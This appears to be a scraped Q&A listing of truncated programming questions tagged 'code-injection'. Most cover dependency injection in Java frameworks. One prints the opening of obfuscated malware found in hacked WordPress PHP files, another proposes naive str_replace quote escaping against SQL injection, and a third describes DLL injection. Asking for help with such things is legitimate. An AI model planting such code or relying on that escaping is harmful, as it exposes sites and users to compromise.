code-injection

@Schedule can´t inject EJB

只愿长相守 提交于 2019-12-23 17:23:48
问题 I´m using JBoss AS 7.1.1. I need some jobs to run in a specific date and time, so instead of using Quartz, I´m trying to use the @Schedule annotation. When I was testing, it worked just fine, but when I started implementing my real business, my real problems started. so, that´s my scenario: I have 1 component, for loggin and utils porposes, I use it in a lot of projects and it works fine, that would be something like it: My log ejb (it works fine in a lot of other components, basically all of

using ReloadableResourceBundleMessageSource in annotations injection

北城余情 提交于 2019-12-23 13:09:03
问题 I am using ReloadableResourceBundleMessageSource in my web project, and I inject the class to a servlet, the problem is that I want to inject the class using Spring annotations but it doesn't seem to work? My code is: my.xml <bean id="messageSource" class="org.springframework.context.support.ReloadableResourceBundleMessageSource"> <property name="basenames"> <list> <value>classpath:myList</value> </list> </property> <property name="cacheSeconds" value="1"/> </bean> myServletClass.java

CDI injection in a JSP

馋奶兔 提交于 2019-12-23 11:46:09
问题 Within a JSP it is possible to use CDI managed beans using EL expressions such as ${myBean.myAttribute}. No problem here. I would like to use "regular injection" (i.e. without using EL expressions) with @Inject in JSP files, for example : <%! @Inject MyBean myBean; %> then later <%= myBean.getMyAttribute() %>. Even if that example can be achieved using EL expressions, some other use cases cannot. This does not seem to be completely supported by app servers: - JBoss 6.0.0, JBoss 6.1.0, Resin 4

Malicious code found in WordPress theme files. What does it do?

只谈情不闲聊 提交于 2019-12-23 06:40:54
问题 I discovered this code inserted at the top of every single PHP file inside of an old, outdated WordPress installation. I want to figure out what this script was doing, but have been unable to decipher the main hidden code. Can someone with experience in these matters decrypt it? Thanks! <?php if (!isset($GLOBALS["anuna"])) { $ua = strtolower($_SERVER["HTTP_USER_AGENT"]); if ((!strstr($ua, "msie")) and (!strstr($ua, "rv:11"))) $GLOBALS["anuna"] = 1; } ?> <?php $nzujvbbqez = 'E{h%x5c%x7825)j

Proxy Exception while injecting spring bean into JSF bean

大兔子大兔子 提交于 2019-12-23 03:28:09
问题 I'm trying to inject spring bean into JSF bean, I'm using Spring 3.1 and JSF 2 (Mojarra 2.1.7) Without a lot of talking my configuration and code and exception listed in the following: StudentService.java: @Scope(proxyMode=ScopedProxyMode.TARGET_CLASS) public class StudentsService extends AbstractMaqraaService { @Override public Set<Class<?>> getTypes() { // TODO Auto-generated method stub return null; } public Student registerStudent(Student student) { return this.store(student); } }

Prevent injection SQL with PHP [duplicate]

随声附和 提交于 2019-12-22 12:48:07
问题 This question already has answers here : How can I prevent SQL injection in PHP? (28 answers) Closed last year . Since my statements are like "SELECT * FROM `box` WHERE `thing` = '{$variable}' Could I clean that with simply $variable = str_replace("'","\'",$variable); "SELECT * FROM `box` WHERE `thing` = '{$variable}' Would that work? My host doesn't support mysql escape and I'm not using mysqli. 回答1: Depending on what classes as a valid data type for your query, you can usually get away with

Dll injection. Execute CreateRemoteThread with parameter

ぐ巨炮叔叔 提交于 2019-12-22 12:45:16
问题 I wrote dll injection program that works just fine. It loads dll into remote process and calls some function. Now i want to pass argument to that function. CreateRemoteThread has lpParameter for that, but how to get that passed argument inside dll to use it in function? Update : dll entry point is common: BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) Dll contains only one function with following prototype: void TestFunction(const char* ua); Code that

“Injection” concerns for Cypher over REST

时间秒杀一切 提交于 2019-12-22 12:27:33
问题 I was wondering if there is a concern for query injection when I query over REST? Parameterizing the query definitely makes things more cleaner but I was also able to query with string concatenation to manipulate properties and labels. I find the latter approach being more flexible because at times I can't query the way I want it following the paradigm of parameters. (Can I parameterize labels and properties on CREATE or SET? (REST and transaction)) If there is no worries of some sort of

calling javascript from eclipse for PhoneGap

十年热恋 提交于 2019-12-22 10:14:29
问题 I am trying to load a website using Phonegap on Android with the following code: public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); super.setBooleanProperty("loadInWebView", true); super.loadUrl("http://arriva.com.mt"); } How would I execute a local javascript file on the webview? 回答1: I was having problems with this but managed to resolve it myself in the end. In your Activity you have super.loadUrl("javascript:yourFunction()"); within your code -- make

Laravel - how to Prefix all json responses to protect against json injection

Deadly 提交于 2019-12-22 08:23:34
问题 I am writing an angularjs app which is consuming an api built with Laravel 4.1. I am looking to protect against json injection. One method built into angularjs to fix this is to prefix all server json responses with the following string ")]}',\n" . The angularjs $http service will automatically strip this string from all json responses. I don't want to have to attach this string manually to every json response which my api serves. Is there a way to prefix this string whenever my controller